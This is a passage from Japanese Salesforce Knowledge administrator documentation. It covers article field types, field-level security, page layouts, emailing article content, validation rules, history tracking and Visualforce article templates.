ンダーから選択して、時間を入力できます。項目の横

日付/時間

にある日付と時間のリンクをクリックして、現在の日
付と時間を追加することもできます。時間には、AM

または PM の表記が含まれています。レポートの場合
は、任意のカスタム日付項目を使用して、データを特
定の日付と時間に制限できます。この項目を必須にす
ると、記事を保存する前にエージェントが値を入力す
る必要があります。

エージェントがメールアドレスを入力できます。メー
ルの形式が正しいかどうかが検証されます。最大 80

メール

文字です。この項目が取引先責任者またはリードに指
定されている場合は、エージェントが[メールを送信]

をクリックするときにアドレスを選択できます。一括
メール送信にはカスタムメールアドレスを使用できま
せん。この項目を必須にすると、記事を保存する前に
エージェントが値を入力する必要があります。

エージェントがファイルをアップロードして記事に添
付できます。この項目を必須にすると、記事を保存す

ファイル

る前にエージェントが値を入力する必要があります。
ファイル項目については、次の点に注意してくださ
い。
• 添付ファイルの最大サイズは 25 MB です。
• 各記事タイプには最大 5 つのファイル項目を追加

できます。この制限値を増やすには、Salesforce に
お問い合わせください。

• [HTML ドキュメントと添付ファイルを許可しない]

セキュリティ設定が有効な場合、ファイル項目は
HTML ファイルをサポートしません。

• [ファイル] 項目の添付ファイルのテキスト内容は
検索可能です。1 つの記事では添付ファイルを 25

MB まで検索できます。たとえば、記事に 5 MB の添
付ファイルが 6 個ある場合、各ファイルの最初の
4.16 MB を検索できます。

• ファイル項目を使用して、Salesforce CRM Contentファ
イルを添付することはできません。

• ファイル項目の種別は、Developer Edition ではサポー
トされていません。

• ファイル名は、40 文字を超えてはいけません。
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説明データ型

• ファイル項目データ型を他のデータ型に変更する
ことはできません。

エージェントが差し込み項目など他の項目や値に基づ
いて値を自動的に計算できます。

数式

メモ: Salesforceは、数式項目内の数値に対して、
切り上げタイブレークルールを使用します。た
とえば、12.345 は 12.35 に、-12.345 は -12.34 にな
ります。
Database.comでは、数式エディタに [構文を確認]

ボタンがありません。構文の確認は、エージェ
ントが数式を保存しようとするときに行われま
す。

2 つのレコード間の関係を作成し、互いを関連付ける
ことができます。たとえば、商談とケースの間には参

参照関係

照関係があるため、特定のケースを商談に関連付ける
ことができます。参照関係によって項目が作成される
ため、エージェントは、ルックアップアイコンをク
リックして、ポップアップウィンドウから別のレコー
ドを選択できます。関連レコードから関連リストを表
示して、そのレコードにリンクしているすべてのレ
コードを表示できます。ユーザ、標準オブジェクト、
またはカスタムオブジェクトにリンクする参照関係項
目を作成できます。削除済みのレコードを参照項目が
参照している場合、デフォルトでSalesforceは参照項目
の値をクリアします。または、レコードが参照関係に
ある場合は削除されないように選択することもできま
す。この項目を必須にすると、記事を保存する前に
エージェントが値を入力する必要があります。
参照関係項目は、Personal Edition では使用できません。
キャンペーンメンバーへの参照関係項目は使用できま
せん。ただし、キャンペーンメンバーからその他のオ
ブジェクトへの参照関係項目は使用できます。

エージェントが任意の数値を入力できます。このエン
トリは実数として扱われるため、0 で始まる数値を入

数値

力しても、最初の 0 は削除されます。この項目を必須
にすると、記事を保存する前にエージェントが値を入
力する必要があります。
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説明データ型

メモ: Salesforceでは、数値項目に対して、切り上
げタイブレークルールを使用します。たとえば、
12.345 は 12.35 に、-12.345 は -12.34 になります。
Salesforce では、数値項目設定で指定された小数
点以下桁数ではなく、ユーザのロケールに従っ
て、差し込み項目で参照される数値を丸めます。

エージェントが「10」などのパーセント値を入力でき
ます。この数値にパーセント記号が自動的に追加され

パーセント

ます。この項目を必須にすると、記事を保存する前に
エージェントが値を入力する必要があります。

メモ: 小数値が 15 より大きい場合に、その数値
にパーセント記号を追加すると、ランタイムエ
ラーが発生します。
値の精度は、15 桁より後で失われます。

エージェントが任意の電話番号を入力できます。最大
40 文字です。この項目を必須にすると、記事を保存

電話

する前にエージェントが値を入力する必要がありま
す。
Salesforceにより、自動的に電話番号形式に変換されま
す。

エージェントが定義されたリストから値を選択できま
す。

選択リスト

別の項目の値に従って、エージェントがリストから値
を選択できます。

選択リスト (連動)

エージェントが定義されたリストから複数の選択リス
ト値を選択できます。これらの項目では、各値がセミ
コロンで区切られます。

選択リスト (複数選択)

エージェントが文字、数字、または記号を任意の組み
合わせで入力できます。最大文字数を 255 文字までに

テキスト

設定できます。この項目を必須にすると、記事を保存
する前にエージェントが値を入力する必要がありま
す。

エージェントが [説明] 項目と同様、最大 255 文字を
入力して、複数行に表示できます。この項目を必須に

テキストエリア

すると、記事を保存する前にエージェントが値を入力
する必要があります。
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エージェントが [説明]項目と同様、最大131,072文字
を入力して、複数行に表示できます。このデータ型の

ロングテキストエリア

文字数は、必要に応じて、下限に設定することもでき
ます。256 から131,072までの文字数を入力できます。
デフォルトは32,768文字です。ロングテキストエリア
項目内でエージェントが Enter キーを押すごとに、
改行と復帰の記号がテキストに追加されます。このど
ちらも文字制限にカウントされます。また、スマート
リンクでは、表示されている数よりも多くの文字が追
加されます。

メモ: 文字制限を引き下げ、この新しい制限を
超える記事がある場合、制限をこの文字数より
大きい数にリセットするまで、これらの記事を
編集できません。

コードサンプル ( ) や Salesforce ナレッジ記事間の
スマートリンクを含め、HTML をサポートするテキス
トをエージェントが 131,072 文字まで入力できます。
スマートリンクの作成方法は、次の 2 通りがありま
す。

リッチテキストエリア

• 記事を検索する。
• 記事の URL を入力する。

メモ:

• 1 つのリッチテキスト項目で、異なるSalesforce

ナレッジ記事に最大 100 個のリンクを設定で
きます。

• テキストエリア (リッチ) 項目をロングテキス
トエリア項目に変換すると、リンクが URL で
はなくリンク参照番号として表示されます。

• アップグレードされたエディタは、互換モー
ドの Internet Explorer バージョン 7 またはバー
ジョン 8 をサポートしません。これらのブラ
ウザを使用している場合は、旧エディタが使
用されます。

エージェントが有効な Web サイトアドレスを 255 文字
まで入力できます。エージェントが項目をクリックす

URL

ると、URL が別のブラウザウィンドウで開きます。レ
コード詳細ページには、最初の 50 文字しか表示され
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説明データ型

ません。この項目を必須にすると、記事を保存する前
にエージェントが値を入力する必要があります。

関連トピック:

カスタム項目の記事タイプへの追加
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

記事の項目レベルセキュリティ

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

項目レベルセキュリティを設定すると、システム管理者が詳細ページと編集ペー
ジの特定の項目への閲覧者のアクセスを制限できます。たとえば、記事の「コ
メント」項目を、内部アプリケーションプロファイルには表示し、公開のコミュ
ニティプロファイルには非表示にすることができます。
記事タイプのレイアウトと項目レベルのセキュリティの両方を使用して項目表
示を定義する場合、より制限的な項目のアクセス設定が常に適用されます。た
とえば、ある項目が記事タイプレイアウトでは非表示となり、項目レベルセキュ
リティ設定では表示となる場合、レイアウトがセキュリティ設定より優先され
るため、項目は非表示になります。ユーザ権限のなかには、ページレイアウト
の設定と項目レベルセキュリティの設定のどちらよりも優先されるものがあり
ます。たとえば、「参照のみ項目の編集」権限を持っているユーザは、他のど
の設定にも関係なく常に参照のみ項目を編集できます。

重要: 項目レベルのセキュリティでは、項目内の値を検索できないように
することはできません。検索語が項目レベルのセキュリティで保護された
項目値と一致する場合、関連付けられたレコードは、保護された項目およ
びその値なしで検索結果に返されます。

セキュリティは、権限セット、プロファイル、または項目を使用して定義でき
ます。
権限セットまたはプロファイルを使用した項目レベルセキュリティの定義

1. 権限セットまたはプロファイルの場合は、[設定] から次の操作を実行します。
• [クイック検索] ボックスに「権限セット」と入力し、[権限セット] を選択します。
• [クイック検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択します。

2. 権限セットまたはプロファイルを選択します。
3. 使用しているインターフェースに応じて、次のいずれかの操作を実行します。

• 権限セットまたは拡張プロファイルユーザインターフェース — [設定の検索...] ボックスに、必要な
オブジェクトの名前を入力し、リストからそのオブジェクトを選択します。[編集] をクリックし、
[項目権限] セクションにスクロールします。
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• 元のプロファイルユーザインターフェース — [項目レベルセキュリティ] セクションで、変更するオ
ブジェクトの横にある [表示] をクリックしてから、[編集] をクリックします。

4. 項目のアクセスレベルを指定します。

メモ: この項目アクセス設定は、記事タイプレイアウトの制限の緩い項目アクセス設定よりも優先
されます。

5. [保存] をクリックします。
項目を使用した項目レベルセキュリティの定義

1. 項目の場合は、[設定] から、[クイック検索] ボックスに「ナレッジ記事タイプ」と入力し、[ナレッジ記
事タイプ] を選択します。

2. 変更する項目を含む記事タイプを選択します。
3. 項目を選択し、[項目レベルセキュリティの設定] をクリックします。
4. 項目のアクセスレベルを指定します。

メモ: この項目アクセス設定は、記事タイプレイアウトの制限の緩い項目アクセス設定よりも優先
されます。

5. [保存] をクリックします。
項目レベルのセキュリティを設定したら、記事タイプのレイアウトを変更して、詳細ページおよび編集ページ
に項目を整理できます。

関連トピック:

カスタム項目の記事タイプへの追加
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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記事タイプのページレイアウト

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

記事タイプレイアウトを
カスタマイズする
• 「アプリケーションの

カスタマイズ」

記事タイプレイアウトで、エージェントが記事のデータを入力するときに表示
および編集できる項目を決定します。また、ユーザが記事を参照するときに表
示されるセクションも決定します。記事タイプテンプレートでは、レイアウト
のセクションをサブタブとして表示するか、リンクのある 1 つのページとして
表示するかなど、記事の形式を定義します。レイアウトは、記事タイプ別のプ
ロファイルごとに適用できます。これにより、同じ記事のより機密性の高い項
目を、適切なプロファイルを持つエージェントにのみ表示できます。

ヒント: 項目レベルのセキュリティを使用して、記事タイプに関する項目
を非表示にすることもできます。たとえば、同一の記事を内部アプリケー
ションとコミュニティに公開する場合、項目レベルセキュリティを使用し
て、[社内コメント] などのカスタム項目を外部コミュニティユーザには非
表示にすることができます。

1. [設定] から、[クイック検索] ボックスに「ナレッジ記事タイプ」と入力し、
[ナレッジ記事タイプ] を選択します。

2. 記事タイプをクリックします。
3. [ページレイアウト] 関連リストまでスクロールダウンするか、ページの上部

にある [ページレイアウト] リンクをクリックします。
4. ページレイアウトを作成するには、[新規] をクリックし、表示されるプロン

プトに従います。既存のレイアウトを編集するには、[編集] をクリックして
変更を加えます。
必要な変更を加えます。レイアウトエディタは、画面上部のパレットと画面
下部のレイアウトの 2 つの部分から構成されています。パレットには使用可
能な項目とセクション要素が含まれます。レイアウトには情報セクション
と、セクションを追加するためのスペースが含まれます。デフォルトでは、
すべてのカスタム項目は情報セクションに含まれています。

重要: 記事タイプレイアウトの保存をクリックせずに他のページに移動すると、変更が失われます。

メモ: 標準項目の [記事番号]、[概要]、[タイトル]、および [URL 名] は、レイアウトには表示され
ません。[記事番号] と [概要] は、公開記事の上部にある参照のみの [プロパティ] セクションに表示
されます。また、[初公開日]、[最終更新日]、および [最終公開日] 項目もこのヘッダーに含まれま
す。

説明ToDo

セクション要素をパレットにドラッグアンドドロッ
プします。

セクションを追加する

タイトルをクリックします。情報セクションの名前
は変更できません。

セクションの名前を変更する

項目をパレットの右側にドラッグするか、項目の横
にある アイコンをクリックします。

項目をセクションから削除する
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説明ToDo

セクション名の横にある アイコンをクリックし
ます。

セクションを記事タイプレイアウトから削除する

[適用] をクリックします。変更を保存して、記事タイプレイアウトの編集を続
行する

ヒント:

• 前後に行った操作を戻すには、それぞれ [元に戻す] ボタンと [やり直し] ボタンを使用します。
• 次のキーボードショートカットを使用します。

– 元に戻す = Ctrl+Z

– やり直し = Ctrl+Y

– 適用 = Ctrl+S

• 複数の要素を個別に選択するには、Ctrl キーを押しながらクリックします。複数の要素をグループ
として選択するには、Shift キーを押しながらクリックします。

• パレット内のアイテムを簡単に検索するには、[クイック検索] ボックスを使用します。[クイック検
索] ボックスは、特に、パレットから入手できるアイテム数が非常に多い記事タイプレイアウトに
便利です。

5. ユーザプロファイルに基づいて記事タイプにさまざまなレイアウトを割り当てるには、[ページレイアウト
の割り当て] をクリックします。

6. [割り当ての編集] をクリックします。
7. 変更するプロファイルまたは複数のプロファイル (SHIFT を使用) を選択し、[使用するページレイアウト] ド

ロップダウンからレイアウトを選択します。
複数の記事タイプページレイアウトを作成する場合は、次の制限および機能の変更に留意してください。
• ページレイアウトを作成するとき、エージェントのライセンスに基づいて一部の項目が非表示になってい

ます。ナレッジユーザライセンスのないユーザ、カスタマーポータルユーザ、パートナーポータルユーザ
には、[変更あり]、[翻訳完了日]、および [翻訳エクスポート日] は表示されません。さらに、カスタマーポー
タルユーザとパートナーポータルユーザには [アーカイブ作成者] および [最新バージョン] も表示されませ
ん。

• Spring '16 より前のリリースでは、テキスト値を含む API の集計項目が、ページレイアウトに存在しない場合
でもプレビューページに表示されていました。プレビューページで引き続き集計項目を表示するには、手
動でページレイアウトを更新してその項目を挿入します。

• ケースを解決中に記事を PDF 形式でメールに添付する場合は、記事タイプレイアウトの [フィードビュー]

にある [選択したメールツール] に [添付ファイル] を追加します。
• 記事の編集ページには、標準項目 (記事番号、タイトル、URL 名、集計)、およびレイアウトに追加されたす

べてのカスタム項目 (サイドバー項目を含む) のみが表示されます。ページレイアウトに追加されたその他
の標準項目は、編集可能ではないため無視されます。カスタム項目はページレイアウトで指定された順序
で表示されます。
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• 記事タイプページレイアウトに入力規則が設定された項目が含まれていない場合、その記事タイプの記事
は作成および編集できません。プロファイルによって記事タイプに割り当てられるすべてのページレイア
ウトには、入力規則が設定された項目をすべて含めてください。

• コミュニケーションチャネルレイアウトでは、ケースメールに挿入される記事項目を判断するためにペー
ジレイアウトは使用されません。挿入される項目は、コミュニケーションチャネルの対応付けで選択され
た項目です。

• PDF ファイルを生成するように特定のプロファイルを設定できます。記事を PDF として送信するときに、送
信者のプロファイルに基づいて PDF が生成されます。したがって、受信者には非表示のはずの項目が表示
される可能性があります。設定済みプロファイルに割り当てられたページレイアウトから PDF の項目が生
成されるように、[ナレッジの設定] ページで [プロファイルを使用してお客様が利用可能なケースに関する記
事の PDF を作成]設定を使用します。また、送信者プロファイルと設定済みプロファイル両方の項目レベ
ルセキュリティが適用されます。

• Salesforce Classic Mobile のアクションおよび関連リストは、記事フィードのアクションを除き、デスクトップ
Salesforce ユーザインターフェースの記事ページレイアウトでは使用できません。

関連トピック:

記事タイプの作成
ナレッジ記事タイプ
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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記事の内容のメール送信 (ベータ)

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

Salesforce ナレッジを管理
して、ページレイアウト
を作成、編集、および削
除する
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

エージェントは Knowledge One を使用して、記事の内容が本文に埋め込まれたメー
ルを送信できます。

メモ: メールによる記事の内容の送信は、外部チャネル (公開知識ベース、
ポータル、またはコミュニティ) で公開された記事に対してベータプログラ
ムで使用できますが、Internet Explorer 7 ではサポートされていません。新し
い組織の場合、システム管理者プロファイルを除くすべての標準プロファ
イルで、ユーザ権限がオフになります。既存の組織の場合、標準のシステ
ム管理者プロファイルで権限を有効にするには、Salesforce の担当者までお
問い合わせください。

エージェントは、URL を送信するだけでなく、メールに記事の内容を含めて送信
することができます。そのため、顧客が Web サイトにアクセスしなくても情報
を取得できます。そしてエージェントは、内部記事を書き換えたり、コピーし
て貼り付けたりしなくても、未公開の記事を送信できます。システム管理者は、
外部利用者にとって好ましい内容を判断できるエージェントに対してのみ権限
を割り当てることができます。
記事タイプごとにメールに含める記事項目を有効にして設定する手順は、次の
とおりです。
1. ケースのオブジェクト管理設定から、[ページレイアウト] に移動します。
2. [ケースフィードの設定] ページへのアクセス方法は、使用しているページレ

イアウトの種類に応じて異なります。
• [ケースページレイアウト] セクションのレイアウトの場合、[編集] をク

リックし、ページレイアウトエディタで [フィードビュー] をクリックし
ます。

• [ケースフィードユーザのページレイアウト] セクションのレイアウトの場
合、 をクリックし、[フィードビューを編集]を選択します (このセク
ションは、Spring '14 より前に作成された組織にのみ表示されます)。

高度なページレイアウトエディタを使用してレイアウトのパブリッシャーを
設定することをすでに選択している場合、[詳細ビューを編集]を選択してア
クションを追加、変更、または削除します。

3. [記事ツールの設定] で、[記事のインライン添付を有効化] をオンにします。
4. [保存] をクリックします。
5. [設定] から、[クイック検索] ボックスに「ナレッジ記事タイプ」と入力し、[ナレッジ記事タイプ] を選択し

ます。
6. メールで共有する記事タイプの表示ラベルまたは名前をクリックします。
7. [コミュニケーションチャネルの対応付け] で、[新規] または [編集] をクリックします。
8. [表示ラベル] と [名前] を入力します。
9. [メール] を選択し、[選択済みのチャネル] リストに追加します。
10. メールの本文に含める項目を選択し、追加します。
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メモ: メールにスマートリンクを含めることはできず、次の項目はサポートされていません。
• ArticleType

• isDeleted

• 言語
• 複数選択リスト
• 選択リスト
• 公開状況
• ソース
• 検証状況

11. [保存] をクリックします。

例: 顧客のケースを解決するときに、権限を持つエージェントが記事の内容をメール本文に挿入できま
す。Salesforce コンソールの Knowledge One サイドバー、ケースフィードの記事リスト、記事ウィジェット、
Knowledge One 検索の推奨記事など、エージェントが記事をケースに添付できるすべての場所で、アクショ
ンドロップダウンの [記事をメール送信 (HTML 形式)] を選択することによって、そのタイプの任意の記事
をメールの本文に含めて送信できます。記事の内容は、メールスレッドの先頭またはエージェントがカー
ソルを置いた場所に挿入されます。記事をメール送信すると、タイトルの左側に封筒アイコンが表示さ
れます。10 MB の制限を超えるファイルが記事に添付されていると、添付するファイルを選択してメール
送信を再試行するようエージェントに指示されます。

メモ: 記事タイプのケースフィードレイアウトでリッチテキストが有効になっていない場合は、記事
テキストのみがメールに埋め込まれ、アクションが [記事をメール送信 (テキストのみ)] に変わりま
す。

関連トピック:

記事タイプのページレイアウト
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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記事のサイトおよびコミュニティ URL の投稿

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

Salesforce ナレッジを管理
する
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

サービスコンソールでは、エージェントがメール、コミュニティ、ソーシャル
パブリッシャーを使用して、記事のサイトまたはコミュニティ URL をケース
フィードに挿入できます。
記事のサイトまたはコミュニティ URL をケースフィードに挿入するには、サー
ビスコンソールと Force.com サイトまたはコミュニティのいずれかでナレッジサ
イドバーが有効になっている必要があります。
1. [設定] から、[クイック検索] ボックスに「ナレッジ」と入力し、[ナレッジの

設定] を選択します。
2. [編集] をクリックします。
3. [URL 設定で記事を共有] セクションで、[公開 URL を使用して記事の共有を

ユーザに許可する] を有効にします。
4. [利用可能なサイト]リストで、エージェントが記事の URL を共有するサイト

またはコミュニティを選択し、[選択したサイト] リストに追加します。
5. [保存] をクリックします。
これでエージェントが、コンソールのナレッジサイドバーに選択されているサ
イトから[記事を添付および共有]リンクを選択できます。デフォルトのアクショ
ンはメールですが、エージェントが URL を挿入する前に、ケースフィードでソー
シャルアクションまたはコミュニティアクションに変更できます。

重要:

• 記事は公開される必要があります。ドラフト記事には、URL の挿入オプ
ションが表示されません。

• 記事は公開して共有される必要があります。つまり、記事の [チャネル]

が [公開知識ベース]、[顧客]、[パートナー] のいずれかである必要があり
ます。

• すべての有効な URL に[記事を添付および共有]リンクが表示されます (そ
のサイトまたはコミュニティに記事が表示されない場合も含みます)。
エージェントは、記事を顧客と共有する前に、サイトまたはコミュニ
ティでその記事を使用できることを確認する必要があります。

関連トピック:

記事タイプのページレイアウト
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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入力規則によるデータ整合性の制御

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

記事タイプの入力規則を
作成または編集する
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

記事の内容が会社の基準に従っていることを確認しましょう。記事タイプ別の
入力規則を作成し、記事の状況に基づいて必須項目に適切な値が入力されてい
るかどうかを確認します。
1. [設定] から、[クイック検索] ボックスに「記事タイプ」と入力し、[ナレッジ

記事タイプ] を選択します。
2. 記事タイプをクリックします。
3. [入力規則] 関連リストまでスクロールダウンするか、ページの上部にある[入

力規則] リンクをクリックします。
4. 入力規則を作成するには、[新規] をクリックします。既存のルールを編集す

るには、[編集] をクリックします。
5. ルールに名前を付けます。
6. ルールを有効にします。
7. 必要に応じて、このタイプの記事の何を制御するかを説明します。
8. エラー条件数式および対応するエラーメッセージを指定します。

エラー条件は、true または false を返す Boolean 数式で記述されます。true の場
合、記事は保存されずにエラーメッセージが表示されます。著者はエラーを
修正して再試行できます。入力規則についての詳細は、「入力規則の定義」
(ページ 5428)を参照してください。

メモ: ナレッジ記事エラーは、項目の横ではなく、常にページの上部に
表示されます。著者が入力規則を満たす方法がわかるようなエラーメッ
セージを作成します。たとえば、エラーの原因となっている項目を示し
ます。

9. [保存] をクリックします。
記事タイプの入力規則を作成する場合は、次の制限および機能の変更に留意し
てください。
• 記事タイプページレイアウトに入力規則が設定された項目が含まれていない場合、その記事タイプの記事

は作成および編集できません。プロファイルによって記事タイプに割り当てられるすべてのページレイア
ウトには、入力規則が設定された項目をすべて含めてください。

• [記事の通貨] 項目と VLOOKUP 関数では、入力規則はサポートされていません。
• 記事をインポートするときに、無効な翻訳が設定された有効な記事がインポートデータファイルに含まれ

ている場合、翻訳は作成されますが、その翻訳された内容はインポートされません。
• 最初の入力規則エラーのみが、ページの上部と記事のインポートログに表示されます。複数のエラーが存

在し、そのエラーが修正されていない場合、そのエラーは後続の保存またはインポート時に表示されます。
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• API の [ケース関連付け件数] や [アーカイブ日] などの KA 項目では、入力規則はサポートされていません。入
力規則では KAV (記事バージョン) 項目のみがサポートされています。

関連トピック:

ナレッジ記事タイプ
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

記事履歴の追跡

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

記事タイプを作成、編
集、または削除する
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

記事の特定の項目の履歴を追跡できます。履歴の追跡が有効になっている場合
は、そのタイプの記事を開いて [バージョン] をクリックすると、バージョン履
歴リストが表示されます。また、記事タイプの追跡を設定したり、記事および
バージョンの全履歴を追跡したりすることもできます。記事イベントは、最長
18 か月間追跡されます。
項目自動更新、公開ワークフローイベント、およびマスタ記事と翻訳の各言語
のバージョンは記録され、表示されます。新旧の値を追跡する場合は、両方の
値と共に日時、変更内容、変更者も記録されます。変更された値のみを追跡す
る場合、変更された項目が編集中とマークされるため、新旧の項目値は記録さ
れません。この情報は [バージョン履歴] リストに表示されます。項目は記事バー
ジョン履歴レポートで利用できます。
記事履歴は項目、エンティティ、レコードレベルセキュリティの影響を受けま
す。履歴にアクセスするには、少なくともその記事タイプまたはその項目に対
する「参照」権限が必要です。データカテゴリセキュリティでは、記事のオン
ラインバージョンのカテゴリに基づいてアクセス権が決まります。オンライン
バージョンがない場合、セキュリティはアーカイブされたバージョンに基づい
て適用され、その後ドラフトバージョンのセキュリティが適用されます。
1. [設定] から、[クイック検索] ボックスに「ナレッジ」と入力し、[ナレッジ記

事タイプ] を選択します。
2. 記事タイプを作成するか、記事タイプリストの記事タイプを編集します。
3. [項目履歴管理の設定] をクリックします。
4. 追跡する項目を選択します。

Salesforce は、項目を選択した日時から履歴追跡を開始します。その日時より
前の変更は追跡されません。

5. [保存] をクリックします。

関連トピック:

ナレッジ記事タイプ
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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記事タイプテンプレート

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

記事タイプテンプレート
を作成、編集、または削
除する
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

Salesforce ナレッジの記事タイプには、チャネル別のテンプレートが必要です。
標準の記事タイプテンプレート (タブと目次)は、記事タイプレイアウトのセク
ションを公開記事でどのように表示するかを指定します。たとえば、タブテン
プレートを選択すると、ユーザが記事を表示するときにレイアウトで定義した
セクションがタブとして表示されます。目次テンプレートを使用すると、セク
ションが、各セクションへのハイパーリンクと共に 1 つのページに表示されま
す。Visualforce を使用して、カスタムテンプレートを作成することもできます。
カスタムテンプレートは記事タイプレイアウトに関連付けられません。
1. [設定] から、[クイック検索] ボックスに「ナレッジ記事タイプ」と入力し、

[ナレッジ記事タイプ] を選択します。
2. 記事タイプ名をクリックします。

• デフォルトのテンプレートを使用している場合は、ステップ 12 に進みま
す。

• カスタムテンプレートを作成している場合は、記事タイプの [API 参照
名] を書き留めておきます。Visualforce ページを作成するときにこの値が
必要になります。

3. [設定] から、[クイック検索]ボックスに「Visualforce ページ」と入力し、
[Visualforce ページ] を選択します。

4. [新規] をクリックします。
5. [名前]テキストボックスで、ページ名として URL に表示するテキストを入力

します。
この名前は、アンダースコアと英数字のみを使用でき、組織内で一意にする
必要があります。最初は文字であること、空白は使用しない、最後にアン
ダースコアを使用しない、2 つ続けてアンダースコアを使用しないという制
約があります。

6. [表示ラベル]テキストボックスにテキストを入力します。このテキストは、
ユーザが記事タイプの詳細ページで [チャネルの表示] 関連リストからこのテ
ンプレートを選択するときに表示されます。

7. Visualforce マークアップを追加します。
カスタムの記事タイプテンプレートに関する唯一の要件は、標準コントローラを記事タイプの [API 参照
名] と同一にすることです。たとえば、記事タイプの [API 参照名] が「Offer__kav」の場合、マーク
アップは次のようになります。
<apex:page standardController="Offer__kav">

... page content here ...

</apex:page>
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メモ: カスタム記事タイプテンプレートで使用できる「knowledge:articleRendererToolbar」や
「knowledge:articleCaseToolbar」など、Visualforce コンポーネントのリストの [コンポーネント
の参照] をクリックします。

8. 記事タイプに [ファイル] 項目がある場合、ユーザが項目の内容をダウンロードすることを許可できます。
次の例は、記事タイプが「Offer」(提示)、[ファイル] 項目の名前が「my_file」、リンクとして表示され
るテキストが「Click me」(ここをクリック) です。
<apex:outputLink value="{!URLFOR($Action.Offer__kav.FileFieldDownload,
Offer__kav.id, ['field'=$ObjectType.Offer__kav.fields.my_file__Body__s.name])}">Click
me</apex:outputLink>

メモ:  [ファイル] 項目が空 (著者がファイルをアップロードしなかった) 場合、公開済みの記事にはリン
クが表示されていますが、機能しません。[ファイル] 項目が空の場合はリンクを表示しないようにす
るには、この例の「Click me」(ここをクリック) をファイル名に置き換えます。この例では、
「{!Offer__kav.my_file__Name__s}」に置換します。

9. [保存] をクリックします。
これで、カスタムテンプレートを、記事タイプのどのチャネルにも割り当てることができます。

10. [設定] から、[クイック検索] ボックスに「ナレッジ記事タイプ」と入力し、[ナレッジ記事タイプ] を選択し
ます。

11. 記事タイプ名をクリックします。
12. チャネルごとにテンプレートを指定します。

• 内部アプリケーション、カスタマー、パートナーでは、[タブ] がデフォルトのテンプレートです。
• 公開知識ベースでは、[目次] がデフォルトのテンプレートです。
• この記事タイプのカスタムテンプレートを作成した場合は、ドロップダウンメニューにそのカスタムテ

ンプレートが表示されます。

13. [保存] をクリックします。

例: タブテンプレートを選択すると、レイアウトで定義したセクションが、ユーザが記事を表示するとき
にタブとして表示されます。

タブ記事タイプテンプレートを使用した公開記事

3389

Salesforce ナレッジの追加カスタマーサポートツールの設定および管理



目次テンプレートを選択すると、レイアウトで定義したセクションが、1 つのページに各セクションタイ
トルへのハイパーリンクと共に表示されます。

目次記事タイプテンプレートを使用した公開記事

関連トピック:

ナレッジ記事タイプ
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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ケースから記事を送信する場合の Apex の例

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

Salesforce ナレッジ設定を
編集する
• 「アプリケーションの

カスタマイズ」

Apex クラスを作成する
• 「Apex 開発」

カスタマーサポートエージェントがケースのクローズ時に Salesforce ナレッジ記
事を作成することが組織で認められている場合は、Apex を使用してドラフト記
事の項目に自動入力できます。これを行うためには、以下の例をガイドとして、
Apex クラスを作成し、ケース記事タイプに割り当てます。
